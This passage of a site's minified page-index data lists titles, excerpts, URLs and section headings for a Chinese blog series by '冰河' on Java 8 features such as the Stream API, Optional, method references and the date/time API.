lug:"_1-接口说明-3"},{level:3,title:"2.使用示例",slug:"_2-使用示例-3"},{level:2,title:"Predicate接口",slug:"predicate接口"},{level:3,title:"1.接口说明",slug:"_1-接口说明-4"},{level:3,title:"2.使用示例",slug:"_2-使用示例-4"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"知识点总结,你都会了吗?",frontmatter:{layout:"post",category:"binghe-code-life",title:"知识点总结,你都会了吗?",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"冰河,你可以给我讲讲Java8新特性的知识点吗?可以啊,没问题。这不,Java8新特性的知识点来了!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"知识点总结,你都会了吗?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-006-%E7%9F%A5%E8%AF%86%E7%82%B9%E6%80%BB%E7%BB%93%EF%BC%8C%E4%BD%A0%E9%83%BD%E4%BC%9A%E4%BA%86%E5%90%97.html"},{name:"twitter:title",content:"知识点总结,你都会了吗?"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-006-%E7%9F%A5%E8%AF%86%E7%82%B9%E6%80%BB%E7%BB%93%EF%BC%8C%E4%BD%A0%E9%83%BD%E4%BC%9A%E4%BA%86%E5%90%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-006-%E7%9F%A5%E8%AF%86%E7%82%B9%E6%80%BB%E7%BB%93%EF%BC%8C%E4%BD%A0%E9%83%BD%E4%BC%9A%E4%BA%86%E5%90%97.html",relativePath:"md/core/java/java8/2022-03-31-006-知识点总结,你都会了吗.md",key:"v-011ed2a4",path:"/md/core/java/java8/2022-03-31-006-%E7%9F%A5%E8%AF%86%E7%82%B9%E6%80%BB%E7%BB%93%EF%BC%8C%E4%BD%A0%E9%83%BD%E4%BC%9A%E4%BA%86%E5%90%97.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Java7与Java8中的HashMap",slug:"java7与java8中的hashmap"},{level:2,title:"JDK8 HashMap重排序",slug:"jdk8-hashmap重排序"},{level:2,title:"筛选与切片",slug:"筛选与切片"},{level:2,title:"中间操作",slug:"中间操作"},{level:2,title:"终止操作",slug:"终止操作"},{level:2,title:"归约",slug:"归约"},{level:2,title:"Optional 容器类",slug:"optional-容器类"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"浅谈方法引用和构造器引用",frontmatter:{layout:"post",category:"binghe-code-life",title:"浅谈方法引用和构造器引用",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"Java8中一个很牛逼的新特性就是方法引用和构造器引用,为什么说它很牛逼呢?往下看。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"浅谈方法引用和构造器引用"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-007-%E6%96%B9%E6%B3%95%E5%BC%95%E7%94%A8%E5%92%8C%E6%9E%84%E9%80%A0%E5%99%A8%E5%BC%95%E7%94%A8.html"},{name:"twitter:title",content:"浅谈方法引用和构造器引用"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-007-%E6%96%B9%E6%B3%95%E5%BC%95%E7%94%A8%E5%92%8C%E6%9E%84%E9%80%A0%E5%99%A8%E5%BC%95%E7%94%A8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-007-%E6%96%B9%E6%B3%95%E5%BC%95%E7%94%A8%E5%92%8C%E6%9E%84%E9%80%A0%E5%99%A8%E5%BC%95%E7%94%A8.html",relativePath:"md/core/java/java8/2022-03-31-007-方法引用和构造器引用.md",key:"v-2096be65",path:"/md/core/java/java8/2022-03-31-007-%E6%96%B9%E6%B3%95%E5%BC%95%E7%94%A8%E5%92%8C%E6%9E%84%E9%80%A0%E5%99%A8%E5%BC%95%E7%94%A8.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"方法引用",slug:"方法引用"},{level:2,title:"构造器引用",slug:"构造器引用"},{level:2,title:"数组引用",slug:"数组引用"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于Java8的Stream API,都在这儿了",frontmatter:{layout:"post",category:"binghe-code-life",title:"关于Java8的Stream API,都在这儿了",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"Java8中有两大最为重要的改变。第一个是 Lambda 表达式;另外一个则是 Stream API(java.util.stream.*) ,那什么是Stream API呢?Java8中的Stream又该如何使用呢?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于Java8的Stream API,都在这儿了"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-008-%E5%85%B3%E4%BA%8EJava8%E7%9A%84Stream%20API,%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:title",content:"关于Java8的Stream API,都在这儿了"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-008-%E5%85%B3%E4%BA%8EJava8%E7%9A%84Stream%20API,%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-008-%E5%85%B3%E4%BA%8EJava8%E7%9A%84Stream%20API,%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",relativePath:"md/core/java/java8/2022-03-31-008-关于Java8的Stream API,都在这儿了.md",key:"v-846f5b64",path:"/md/core/java/java8/2022-03-31-008-%E5%85%B3%E4%BA%8EJava8%E7%9A%84Stream%20API,%E9%83%BD%E5%9C%A8%E8%BF%99%E5%84%BF%E4%BA%86.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"什么是Stream?",slug:"什么是stream"},{level:2,title:"Stream操作的三个步骤",slug:"stream操作的三个步骤"},{level:2,title:"如何创建Stream?",slug:"如何创建stream"},{level:3,title:"1.获取Stream",slug:"_1-获取stream"},{level:3,title:"2.由数组创建Stream",slug:"_2-由数组创建stream"},{level:3,title:"3.由值创建流",slug:"_3-由值创建流"},{level:3,title:"4.由函数创建流",slug:"_4-由函数创建流"},{level:2,title:"Stream的中间操作",slug:"stream的中间操作"},{level:3,title:"1.筛选与切片",slug:"_1-筛选与切片"},{level:3,title:"2.映射",slug:"_2-映射"},{level:3,title:"3.排序",slug:"_3-排序"},{level:2,title:"Stream 的终止操作",slug:"stream-的终止操作"},{level:3,title:"1.查找与匹配",slug:"_1-查找与匹配"},{level:3,title:"2.规约",slug:"_2-规约"},{level:3,title:"3.收集",slug:"_3-收集"},{level:2,title:"并行流与串行流",slug:"并行流与串行流"},{level:2,title:"Fork/Join 框架",slug:"fork-join-框架"},{level:3,title:"1.简单概述",slug:"_1-简单概述"},{level:3,title:"2.Fork/Join 框架与传统线程池的区别",slug:"_2-fork-join-框架与传统线程池的区别"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"强大的Stream API,你了解吗",frontmatter:{layout:"post",category:"binghe-code-life",title:"强大的Stream API,你了解吗",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"今天,一名读者出去面试,面试官问他:说说Java8中创建Stream流有哪几种方式?他竟然没回答上来!!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"强大的Stream API,你了解吗"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-009-%E5%BC%BA%E5%A4%A7%E7%9A%84Stream%20API%EF%BC%8C%E4%BD%A0%E4%BA%86%E8%A7%A3%E5%90%97.html"},{name:"twitter:title",content:"强大的Stream API,你了解吗"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-009-%E5%BC%BA%E5%A4%A7%E7%9A%84Stream%20API%EF%BC%8C%E4%BD%A0%E4%BA%86%E8%A7%A3%E5%90%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-009-%E5%BC%BA%E5%A4%A7%E7%9A%84Stream%20API%EF%BC%8C%E4%BD%A0%E4%BA%86%E8%A7%A3%E5%90%97.html",relativePath:"md/core/java/java8/2022-03-31-009-强大的Stream API,你了解吗.md",key:"v-2eb2e8db",path:"/md/core/java/java8/2022-03-31-009-%E5%BC%BA%E5%A4%A7%E7%9A%84Stream%20API%EF%BC%8C%E4%BD%A0%E4%BA%86%E8%A7%A3%E5%90%97.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Stream概述",slug:"stream概述"},{level:2,title:"何为Stream?",slug:"何为stream"},{level:2,title:"Stream操作步骤",slug:"stream操作步骤"},{level:2,title:"如何创建Stream流?",slug:"如何创建stream流"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"Stream API有哪些中间操作?看完你也可以吊打面试官!!",frontmatter:{layout:"post",category:"binghe-code-life",title:"Stream API有哪些中间操作?看完你也可以吊打面试官!!",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"多个中间操作可以连接起来形成一个流水线,除非流水线上触发终止操作,否则中间操作不会执行任何的处理!而在终止操作时一次性全部处理,称为“惰性求值” 。 Stream的中间操作是不会有任何结果数据输出的。Stream的中间操作在整体上可以分为:筛选与切片、映射、排序。接下来,我们就分别对这些中间操作进行简要的说明。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"Stream API有哪些中间操作?看完你也可以吊打面试官!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-010-Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E4%B8%AD%E9%97%B4%E6%93%8D%E4%BD%9C,%E7%9C%8B%E5%AE%8C%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E5%90%8A%E6%89%93%E9%9D%A2%E8%AF%95%E5%AE%98.html"},{name:"twitter:title",content:"Stream API有哪些中间操作?看完你也可以吊打面试官!!"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-010-Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E4%B8%AD%E9%97%B4%E6%93%8D%E4%BD%9C,%E7%9C%8B%E5%AE%8C%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E5%90%8A%E6%89%93%E9%9D%A2%E8%AF%95%E5%AE%98.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-010-Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E4%B8%AD%E9%97%B4%E6%93%8D%E4%BD%9C,%E7%9C%8B%E5%AE%8C%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E5%90%8A%E6%89%93%E9%9D%A2%E8%AF%95%E5%AE%98.html",relativePath:"md/core/java/java8/2022-03-31-010-Stream API有哪些中间操作,看完你也可以吊打面试官.md",key:"v-7589dd4c",path:"/md/core/java/java8/2022-03-31-010-Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E4%B8%AD%E9%97%B4%E6%93%8D%E4%BD%9C,%E7%9C%8B%E5%AE%8C%E4%BD%A0%E4%B9%9F%E5%8F%AF%E4%BB%A5%E5%90%8A%E6%89%93%E9%9D%A2%E8%AF%95%E5%AE%98.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Stream的中间操作",slug:"stream的中间操作"},{level:2,title:"筛选与切片",slug:"筛选与切片"},{level:3,title:"1.filter()方法",slug:"_1-filter-方法"},{level:3,title:"2.limit()方法",slug:"_2-limit-方法"},{level:3,title:"3.skip()方法",slug:"_3-skip-方法"},{level:3,title:"4.distinct()方法",slug:"_4-distinct-方法"},{level:2,title:"映射",slug:"映射"},{level:3,title:"1.map()方法",slug:"_1-map-方法"},{level:3,title:"2.flatMap()",slug:"_2-flatmap"},{level:2,title:"排序",slug:"排序"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"Java8中的Stream API有哪些终止操作",frontmatter:{layout:"post",category:"binghe-code-life",title:"Java8中的Stream API有哪些终止操作",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"如果你出去面试,面试官问了你关于Java8 Stream API的一些问题,比如:Java8中创建Stream流有哪几种方式?(可以参见:《[强大的Stream API,你了解吗](/md/java/java8/2022-03-31-009-强大的Stream API,你了解吗.md)》)Java8中的Stream API有哪些中间操作?(可以参见:《[Stream API有哪些中间操作,看完你也可以吊打面试官](/md/java/java8/2022-03-31-010-Stream API有哪些中间操作,看完你也可以吊打面试官.md)》)如果你都很好的回答了这些问题,那么,面试官可能又会问你:Java8中的Stream API有哪些终止操作呢?没错,这就是Java8中有关Stream API的灵魂三问!不要觉得是面试官在为难你,只有你掌握了这些细节,你就可以反过来吊打面试官了!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"Java8中的Stream API有哪些终止操作"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-011-Java8%E4%B8%AD%E7%9A%84Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E7%BB%88%E6%AD%A2%E6%93%8D%E4%BD%9C.html"},{name:"twitter:title",content:"Java8中的Stream API有哪些终止操作"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-011-Java8%E4%B8%AD%E7%9A%84Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E7%BB%88%E6%AD%A2%E6%93%8D%E4%BD%9C.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-011-Java8%E4%B8%AD%E7%9A%84Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E7%BB%88%E6%AD%A2%E6%93%8D%E4%BD%9C.html",relativePath:"md/core/java/java8/2022-03-31-011-Java8中的Stream API有哪些终止操作.md",key:"v-63159a55",path:"/md/core/java/java8/2022-03-31-011-Java8%E4%B8%AD%E7%9A%84Stream%20API%E6%9C%89%E5%93%AA%E4%BA%9B%E7%BB%88%E6%AD%A2%E6%93%8D%E4%BD%9C.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Stream的终止操作",slug:"stream的终止操作"},{level:2,title:"查找与匹配",slug:"查找与匹配"},{level:3,title:"1.allMatch()",slug:"_1-allmatch"},{level:3,title:"2.anyMatch()方法",slug:"_2-anymatch-方法"},{level:3,title:"3.noneMatch()方法",slug:"_3-nonematch-方法"},{level:3,title:"4.findFirst()方法",slug:"_4-findfirst-方法"},{level:3,title:"5.findAny()方法",slug:"_5-findany-方法"},{level:3,title:"6.count()方法",slug:"_6-count-方法"},{level:3,title:"7.max()方法",slug:"_7-max-方法"},{level:3,title:"8.min()方法",slug:"_8-min-方法"},{level:3,title:"9.forEach()方法",slug:"_9-foreach-方法"},{level:2,title:"规约",slug:"规约"},{level:2,title:"收集",slug:"收集"},{level:2,title:"如何收集Stream流?",slug:"如何收集stream流"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于并行流与串行流,你必须掌握这些!!",frontmatter:{layout:"post",category:"binghe-code-life",title:"关于并行流与串行流,你必须掌握这些!!",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"提到Java8,我们不得不说的就是Lambda表达式和Stream API。而在Java8中,对于并行流和串行流同样做了大量的优化。对于并行流和串行流的知识,也是在面试过程中,经常被问到的知识点。当然,我们不能只是为了应付面试来学习这些知识,更重要的是将这些知识运用到实际的工作中,更好的提高我们的工作效率和工作质量。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于并行流与串行流,你必须掌握这些!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-012-%E5%85%B3%E4%BA%8E%E5%B9%B6%E8%A1%8C%E6%B5%81%E4%B8%8E%E4%B8%B2%E8%A1%8C%E6%B5%81%EF%BC%8C%E4%BD%A0%E5%BF%85%E9%A1%BB%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html"},{name:"twitter:title",content:"关于并行流与串行流,你必须掌握这些!!"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-012-%E5%85%B3%E4%BA%8E%E5%B9%B6%E8%A1%8C%E6%B5%81%E4%B8%8E%E4%B8%B2%E8%A1%8C%E6%B5%81%EF%BC%8C%E4%BD%A0%E5%BF%85%E9%A1%BB%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-012-%E5%85%B3%E4%BA%8E%E5%B9%B6%E8%A1%8C%E6%B5%81%E4%B8%8E%E4%B8%B2%E8%A1%8C%E6%B5%81%EF%BC%8C%E4%BD%A0%E5%BF%85%E9%A1%BB%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html",relativePath:"md/core/java/java8/2022-03-31-012-关于并行流与串行流,你必须掌握这些.md",key:"v-d2391bb2",path:"/md/core/java/java8/2022-03-31-012-%E5%85%B3%E4%BA%8E%E5%B9%B6%E8%A1%8C%E6%B5%81%E4%B8%8E%E4%B8%B2%E8%A1%8C%E6%B5%81%EF%BC%8C%E4%BD%A0%E5%BF%85%E9%A1%BB%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"什么是并行流?",slug:"什么是并行流"},{level:2,title:"Fork/Join 框架",slug:"fork-join-框架"},{level:2,title:"Fork/Join 框架与传统线程池有啥区别?",slug:"fork-join-框架与传统线程池有啥区别"},{level:2,title:"Fork/Join框架实例",slug:"fork-join框架实例"},{level:2,title:"Java8中的并行流实例",slug:"java8中的并行流实例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"不了解Optional类,简历上别说你懂Java8",frontmatter:{layout:"post",category:"binghe-code-life",title:"不了解Optional类,简历上别说你懂Java8",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"最近,很多读者出去面试都在Java8上栽了跟头,事后自己分析,确实对Java8的新特性一知半解。然而,却在简历显眼的技能部分写着:熟练掌握Java8的各种新特性,能够迅速使用Java8开发高并发应用!这不,又一名读者因为写了熟练掌握Java8的新特性而被面试官虐的体无完肤!我不是说不能写,可以这样写!但是,咱在写熟练掌握Java8新特性的时候,应该静下心来好好想想自己是否真的掌握了Java8。如果自己心中对是否掌握了Java8这个问题模棱两可的话,那确实要好好静下心来为自己充电了!一定要从模棱两可到彻底掌握Java8,那到时就不是面试官虐你了,而是你吊打面试官!!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"不了解Optional类,简历上别说你懂Java8"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-013-%E4%B8%8D%E4%BA%86%E8%A7%A3Optional%E7%B1%BB%EF%BC%8C%E7%AE%80%E5%8E%86%E4%B8%8A%E5%88%AB%E8%AF%B4%E4%BD%A0%E6%87%82Java8.html"},{name:"twitter:title",content:"不了解Optional类,简历上别说你懂Java8"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-013-%E4%B8%8D%E4%BA%86%E8%A7%A3Optional%E7%B1%BB%EF%BC%8C%E7%AE%80%E5%8E%86%E4%B8%8A%E5%88%AB%E8%AF%B4%E4%BD%A0%E6%87%82Java8.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-013-%E4%B8%8D%E4%BA%86%E8%A7%A3Optional%E7%B1%BB%EF%BC%8C%E7%AE%80%E5%8E%86%E4%B8%8A%E5%88%AB%E8%AF%B4%E4%BD%A0%E6%87%82Java8.html",relativePath:"md/core/java/java8/2022-03-31-013-不了解Optional类,简历上别说你懂Java8.md",key:"v-2c4ceec9",path:"/md/core/java/java8/2022-03-31-013-%E4%B8%8D%E4%BA%86%E8%A7%A3Optional%E7%B1%BB%EF%BC%8C%E7%AE%80%E5%8E%86%E4%B8%8A%E5%88%AB%E8%AF%B4%E4%BD%A0%E6%87%82Java8.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"什么是Optional类?",slug:"什么是optional类"},{level:2,title:"Optional类示例",slug:"optional类示例"},{level:3,title:"1.创建Optional类",slug:"_1-创建optional类"},{level:3,title:"2.isPresent",slug:"_2-ispresent"},{level:3,title:"3.orElse和orElseGet",slug:"_3-orelse和orelseget"},{level:3,title:"4.orElseThrow",slug:"_4-orelsethrow"},{level:3,title:"5.get",slug:"_5-get"},{level:3,title:"6.filter",slug:"_6-filter"},{level:3,title:"7.map",slug:"_7-map"},{level:3,title:"8.flatMap",slug:"_8-flatmap"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"接口中的默认方法和静态方法,你都掌握了吗?",frontmatter:{layout:"post",category:"binghe-code-life",title:"接口中的默认方法和静态方法,你都掌握了吗?",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"在Java8之前的版本中,接口中只能声明常量和抽象方法,接口的实现类中必须实现接口中所有的抽象方法。而在Java8中,接口中可以声明默认方法和静态方法,本文,我们就一起探讨下接口中的默认方法和静态方法。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"接口中的默认方法和静态方法,你都掌握了吗?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-014-%E6%8E%A5%E5%8F%A3%E4%B8%AD%E7%9A%84%E9%BB%98%E8%AE%A4%E6%96%B9%E6%B3%95%E5%92%8C%E9%9D%99%E6%80%81%E6%96%B9%E6%B3%95%EF%BC%8C%E4%BD%A0%E9%83%BD%E6%8E%8C%E6%8F%A1%E4%BA%86%E5%90%97.html"},{name:"twitter:title",content:"接口中的默认方法和静态方法,你都掌握了吗?"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-014-%E6%8E%A5%E5%8F%A3%E4%B8%AD%E7%9A%84%E9%BB%98%E8%AE%A4%E6%96%B9%E6%B3%95%E5%92%8C%E9%9D%99%E6%80%81%E6%96%B9%E6%B3%95%EF%BC%8C%E4%BD%A0%E9%83%BD%E6%8E%8C%E6%8F%A1%E4%BA%86%E5%90%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-014-%E6%8E%A5%E5%8F%A3%E4%B8%AD%E7%9A%84%E9%BB%98%E8%AE%A4%E6%96%B9%E6%B3%95%E5%92%8C%E9%9D%99%E6%80%81%E6%96%B9%E6%B3%95%EF%BC%8C%E4%BD%A0%E9%83%BD%E6%8E%8C%E6%8F%A1%E4%BA%86%E5%90%97.html",relativePath:"md/core/java/java8/2022-03-31-014-接口中的默认方法和静态方法,你都掌握了吗.md",key:"v-2dd51a14",path:"/md/core/java/java8/2022-03-31-014-%E6%8E%A5%E5%8F%A3%E4%B8%AD%E7%9A%84%E9%BB%98%E8%AE%A4%E6%96%B9%E6%B3%95%E5%92%8C%E9%9D%99%E6%80%81%E6%96%B9%E6%B3%95%EF%BC%8C%E4%BD%A0%E9%83%BD%E6%8E%8C%E6%8F%A1%E4%BA%86%E5%90%97.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"接口中的默认方法",slug:"接口中的默认方法"},{level:2,title:"默认方法的原则",slug:"默认方法的原则"},{level:2,title:"接口中的静态方法",slug:"接口中的静态方法"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"关于Java8中的日期时间API,你需要掌握这些!!",frontmatter:{layout:"post",category:"binghe-code-life",title:"关于Java8中的日期时间API,你需要掌握这些!!",tagline:"by 冰河",tag:["java8","binghe-code-java8"],excerpt:"Java8之前的日期和时间API,存在一些问题,比如:线程安全的问题,跨年的问题等等。这些问题都在Hava8中的日期和时间API中得到了解决,而且Java8中的日期和时间API更加强大。立志成为架构师的你,必须掌握Java8中的日期和时间API。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"关于Java8中的日期时间API,你需要掌握这些!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-015-%E5%85%B3%E4%BA%8EJava8%E4%B8%AD%E7%9A%84%E6%97%A5%E6%9C%9F%E6%97%B6%E9%97%B4API%EF%BC%8C%E4%BD%A0%E9%9C%80%E8%A6%81%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html"},{name:"twitter:title",content:"关于Java8中的日期时间API,你需要掌握这些!!"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-015-%E5%85%B3%E4%BA%8EJava8%E4%B8%AD%E7%9A%84%E6%97%A5%E6%9C%9F%E6%97%B6%E9%97%B4API%EF%BC%8C%E4%BD%A0%E9%9C%80%E8%A6%81%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-015-%E5%85%B3%E4%BA%8EJava8%E4%B8%AD%E7%9A%84%E6%97%A5%E6%9C%9F%E6%97%B6%E9%97%B4API%EF%BC%8C%E4%BD%A0%E9%9C%80%E8%A6%81%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html",relativePath:"md/core/java/java8/2022-03-31-015-关于Java8中的日期时间API,你需要掌握这些.md",key:"v-5d25a704",path:"/md/core/java/java8/2022-03-31-015-%E5%85%B3%E4%BA%8EJava8%E4%B8%AD%E7%9A%84%E6%97%A5%E6%9C%9F%E6%97%B6%E9%97%B4API%EF%BC%8C%E4%BD%A0%E9%9C%80%E8%A6%81%E6%8E%8C%E6%8F%A1%E8%BF%99%E4%BA%9B.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"本地时间和时间戳",slug:"本地时间和时间戳"},{level:2,title:"使用 LocalDate、 LocalTime、 LocalDateTime",slug:"使用-localdate、-localtime、-localdatetime"},{level:2,title:"Instant 时间戳",slug:"instant-时间戳"},{level:2,title:"Duration 和 Period",slug:"duration-和-period"},{level:2,title:"日期的操纵",slug:"日期的操纵"},{level:2,title:"解析与格式化",slug:"解析与格式化"},{level:2,title:"时区的处理",slug:"时区的处理"},{level:2,title:"与传统日期处理的转换",slug:"与传统日期处理的转换"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:23:05",lastUpdatedTimestamp:1666092185e3},{title:"重复注解与类型注解,你真的学会了吗?",frontmatter:{layout:"post",category:"binghe-code-java8",title:"重复注解与类型注解,你真的学会了吗?",tagline:"by 冰河",tag:["bigdata","binghe-code-life"],excerpt:"在Java8之前,在某个类或者方法,字段或者参数上标注注解时,同一个注解只能标注一次。但是在Java8中,新增了重复注解和类型注解,也就是说,从Java8开始,支持在某个类或者方法,字段或者参数上标注多个相同的注解。那么,有读者就会问了:如何实现呢?别急,往下看!文中不只是Java8中的注解。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:23:05.000Z"},{property:"og:title",content:"重复注解与类型注解,你真的学会了吗?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/java/java8/2022-03-31-016-%E9%87%8D%E5%A4%8D%E6%B3%A8%E8%A7%A3%E4%B8%8E%E7%B1%BB%E5%9E%8B%E6%B3%A8%E8%A7%A3%EF%BC%8C%E4%BD%A0%E7%9C%9F%E7%9A%84%E5%AD%A6%E4%BC%9A%E4%BA%86%E5%90%97.html"},{name:"twitter:title",content:"重复注解与类型注解,你真的学会了吗?"},{name:"twitter:url",content:"/md/core/java/java8/2022-03-31-016-%E9%87%8D%E5%A4%8D%E6%B3%A8%E8%A7%A3%E4%B8%8E%E7%B1%BB%E5%9E%8B%E6%B3%A8%E8%A7%A3%EF%BC%8C%E4%BD%A0%E7%9C%9F%E7%9A%84%E5%AD%A6%E4%BC%9A%E4%BA%86%E5%90%97.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/java/java8/2022-03-31-016-%E9%87%8D%E5%A4%8D%E6%B3%A8%E8%A7%A3%E4%B8%8E%E7%B1%BB%E5%9E%8B%E6%B3%A8%E8%A7%A3%EF%BC%8C%E4%BD%A0%E7%9C%9F%E7%9A%84%E5%AD%A6%E4%BC%9A%E4%BA%86%E5%90%97.html",relativePath:"md/core/java/java8/2022-03-31-016-重复注解与类型注解,你真的学会了吗.md",key:"v-670664d4",path:"/md/core/java/java8/2022-03-31-016-%E9%87%8D%E5%A4%8D%E6%B3%A8%E8%A7%A3%E4%B8%8E%E7%B1%BB%E5%9E%8B%E6%B3%A8%E8%A7%A3%EF%BC%8C%E4%BD%A0%E7%9C%9F%E7%9A%84%E5%AD%A6%E4%BC%9A%E4%BA%86%E5%90%97.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"JDK5中的注解",slug:"jdk5中的注解"},{level:3,title:"1.注解(@)",slug:"_1-注解"},{level:3,title:"2.作用",slug:"_2-作用"},{level:3,title:"3.如何理解注解?",slu